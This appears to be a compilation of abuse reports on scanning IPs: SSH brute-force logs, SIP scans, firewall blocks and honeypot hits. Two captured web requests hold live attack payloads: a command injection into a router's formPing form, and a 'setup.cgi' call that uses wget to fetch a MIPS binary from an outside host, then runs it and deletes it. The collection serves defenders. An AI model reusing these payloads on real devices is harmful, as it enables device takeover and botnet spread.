(sshd) Failed SSH login from 37.49.226.157 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jun  9 21:15:09 ubnt-55d23 sshd[513]: Did not receive identification string from 37.49.226.157 port 48382
Jun  9 21:15:16 ubnt-55d23 sshd[514]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root

 TCP (SYN) 37.49.226.157:54520 -> port 22, len 48

(sshd) Failed SSH login from 37.49.226.157 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jun  4 06:45:20 ubnt-55d23 sshd[21231]: Did not receive identification string from 37.49.226.157 port 49676
Jun  4 06:45:28 ubnt-55d23 sshd[21232]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root

Jun  3 20:56:13 h2779839 sshd[12509]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
Jun  3 20:56:15 h2779839 sshd[12509]: Failed password for root from 37.49.226.157 port 42012 ssh2
Jun  3 20:56:40 h2779839 sshd[12513]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
Jun  3 20:56:41 h2779839 sshd[12513]: Failed password for root from 37.49.226.157 port 41524 ssh2
Jun  3 20:57:08 h2779839 sshd[12519]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
Jun  3 20:57:10 h2779839 sshd[12519]: Failed password for root from 37.49.226.157 port 40912 ssh2
Jun  3 20:57:34 h2779839 sshd[12546]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
Jun  3 20:57:36 h2779839 sshd[12546]: Failed password for root from 37.49.226.157 port 40426 ssh2
Jun 
...

May 30 07:36:23 ssh2 sshd[32520]: Connection from 37.49.226.157 port 41256 on 192.240.101.3 port 22
May 30 07:36:24 ssh2 sshd[32520]: Invalid user pasmak@wsx\n from 37.49.226.157 port 41256
May 30 07:36:24 ssh2 sshd[32520]: Failed password for invalid user pasmak@wsx\n from 37.49.226.157 port 41256 ssh2
...

May 27 02:02:17 dns1 sshd[14686]: Failed password for root from 37.49.226.157 port 45776 ssh2
May 27 02:02:37 dns1 sshd[14692]: Failed password for root from 37.49.226.157 port 36561 ssh2

SSH brute-force: detected 21 distinct usernames within a 24-hour window.

SSH brute-force: detected 9 distinct usernames within a 24-hour window.

May 23 00:39:22 home sshd[30996]: Failed password for root from 37.49.226.157 port 53215 ssh2
May 23 00:39:43 home sshd[31059]: Failed password for root from 37.49.226.157 port 33861 ssh2
...

2020-05-22T05:58:56.859519amanda2.illicoweb.com sshd\[47330\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
2020-05-22T05:58:59.479564amanda2.illicoweb.com sshd\[47330\]: Failed password for root from 37.49.226.157 port 53265 ssh2
2020-05-22T05:59:15.482818amanda2.illicoweb.com sshd\[47334\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
2020-05-22T05:59:17.711410amanda2.illicoweb.com sshd\[47334\]: Failed password for root from 37.49.226.157 port 33211 ssh2
2020-05-22T05:59:34.054999amanda2.illicoweb.com sshd\[47336\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
...

SSH Bruteforce on Honeypot

May 15 22:50:17 mout sshd[8171]: Failed password for root from 37.49.226.157 port 58050 ssh2
May 15 22:50:29 mout sshd[8194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.157  user=root
May 15 22:50:31 mout sshd[8194]: Failed password for root from 37.49.226.157 port 44256 ssh2

May 13 07:28:27 netserv300 sshd[26228]: Connection from 37.49.226.157 port 38678 on 178.63.236.22 port 22
May 13 07:28:34 netserv300 sshd[26236]: Connection from 37.49.226.157 port 42060 on 178.63.236.22 port 22
May 13 07:28:48 netserv300 sshd[26250]: Connection from 37.49.226.157 port 45128 on 178.63.236.22 port 22
May 13 07:29:03 netserv300 sshd[26270]: Connection from 37.49.226.157 port 47844 on 178.63.236.22 port 22
May 13 07:29:16 netserv300 sshd[26287]: Connection from 37.49.226.157 port 50472 on 178.63.236.22 port 22
May 13 07:29:28 netserv300 sshd[26303]: Connection from 37.49.226.157 port 53244 on 178.63.236.22 port 22
May 13 07:29:40 netserv300 sshd[26328]: Connection from 37.49.226.157 port 56032 on 178.63.236.22 port 22
May 13 07:29:52 netserv300 sshd[26346]: Connection from 37.49.226.157 port 58854 on 178.63.236.22 port 22
May 13 07:30:03 netserv300 sshd[26408]: Connection from 37.49.226.157 port 33392 on 178.63.236.22 port 22
May 13 07:30:15 netserv300 sshd........
------------------------------

May 13 07:28:27 netserv300 sshd[26228]: Connection from 37.49.226.157 port 38678 on 178.63.236.22 port 22
May 13 07:28:34 netserv300 sshd[26236]: Connection from 37.49.226.157 port 42060 on 178.63.236.22 port 22
May 13 07:28:48 netserv300 sshd[26250]: Connection from 37.49.226.157 port 45128 on 178.63.236.22 port 22
May 13 07:29:03 netserv300 sshd[26270]: Connection from 37.49.226.157 port 47844 on 178.63.236.22 port 22
May 13 07:29:16 netserv300 sshd[26287]: Connection from 37.49.226.157 port 50472 on 178.63.236.22 port 22
May 13 07:29:28 netserv300 sshd[26303]: Connection from 37.49.226.157 port 53244 on 178.63.236.22 port 22
May 13 07:29:40 netserv300 sshd[26328]: Connection from 37.49.226.157 port 56032 on 178.63.236.22 port 22
May 13 07:29:52 netserv300 sshd[26346]: Connection from 37.49.226.157 port 58854 on 178.63.236.22 port 22
May 13 07:30:03 netserv300 sshd[26408]: Connection from 37.49.226.157 port 33392 on 178.63.236.22 port 22
May 13 07:30:15 netserv300 sshd........
------------------------------

May 13 07:28:27 netserv300 sshd[26228]: Connection from 37.49.226.157 port 38678 on 178.63.236.22 port 22
May 13 07:28:34 netserv300 sshd[26236]: Connection from 37.49.226.157 port 42060 on 178.63.236.22 port 22
May 13 07:28:48 netserv300 sshd[26250]: Connection from 37.49.226.157 port 45128 on 178.63.236.22 port 22
May 13 07:29:03 netserv300 sshd[26270]: Connection from 37.49.226.157 port 47844 on 178.63.236.22 port 22
May 13 07:29:16 netserv300 sshd[26287]: Connection from 37.49.226.157 port 50472 on 178.63.236.22 port 22
May 13 07:29:28 netserv300 sshd[26303]: Connection from 37.49.226.157 port 53244 on 178.63.236.22 port 22
May 13 07:29:40 netserv300 sshd[26328]: Connection from 37.49.226.157 port 56032 on 178.63.236.22 port 22
May 13 07:29:52 netserv300 sshd[26346]: Connection from 37.49.226.157 port 58854 on 178.63.236.22 port 22
May 13 07:30:03 netserv300 sshd[26408]: Connection from 37.49.226.157 port 33392 on 178.63.236.22 port 22
May 13 07:30:15 netserv300 sshd........
------------------------------

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt from IP address 2.134.172.235 on Port 445(SMB)

223.71.167.165 was recorded 19 times by 5 hosts attempting to connect to the following ports: 389,6000,427,4064,8554,8889,2525,123,7002,85,5577,8005,135,19,7000,12587,7634,1863. Incident counter (4h, 24h, all-time): 19, 139, 9331

Jan  5 03:29:27 pi sshd[7341]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=147.139.138.183 
Jan  5 03:29:30 pi sshd[7341]: Failed password for invalid user nor from 147.139.138.183 port 55484 ssh2

Mar 13 17:30:21 debian-2gb-nbg1-2 kernel: \[6376154.664272\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=185.143.221.182 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=247 ID=45409 PROTO=TCP SPT=50192 DPT=7207 WINDOW=1024 RES=0x00 SYN URGP=0

[Fri Mar 13 19:46:38.244266 2020] [:error] [pid 21411:tid 140257810990848] [client 141.8.188.3:35419] [client 141.8.188.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/owasp-modsecurity-crs-3.2.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "696"] [id "920350"] [msg "Host header is a numeric IP address"] [data "103.27.207.197"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "103.27.207.197"] [uri "/"] [unique_id "XmuArmFKeug2GUaqYmpwugAAAN0"]
...

Jan  4 21:27:07 pi sshd[5401]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=147.135.130.142  user=root
Jan  4 21:27:08 pi sshd[5401]: Failed password for invalid user root from 147.135.130.142 port 33416 ssh2

Honeypot attack, port: 445, PTR: nz163l144.bb27109.ctm.net.

Mar 13 16:35:26 localhost sshd[89216]: Invalid user leansales1234 from 207.154.232.160 port 45648
Mar 13 16:35:26 localhost sshd[89216]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=207.154.232.160
Mar 13 16:35:26 localhost sshd[89216]: Invalid user leansales1234 from 207.154.232.160 port 45648
Mar 13 16:35:29 localhost sshd[89216]: Failed password for invalid user leansales1234 from 207.154.232.160 port 45648 ssh2
Mar 13 16:38:57 localhost sshd[89572]: Invalid user test from 207.154.232.160 port 43422
...

$f2bV_matches

Unauthorized connection attempt from IP address 5.36.179.240 on Port 445(SMB)

Unauthorized connection attempt from IP address 183.82.114.84 on Port 445(SMB)

Feb  2 15:43:18 pi sshd[25987]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=148.227.208.7 
Feb  2 15:43:20 pi sshd[25987]: Failed password for invalid user wwwadm from 148.227.208.7 port 7713 ssh2

Brute-force attempt banned

Invalid user git from 146.185.175.132 port 56148
pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.185.175.132
Failed password for invalid user git from 146.185.175.132 port 56148 ssh2
pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.185.175.132  user=root
Failed password for root from 146.185.175.132 port 45652 ssh2

Honeypot attack, port: 445, PTR: 187-032-089-093.static.ctbctelecom.com.br.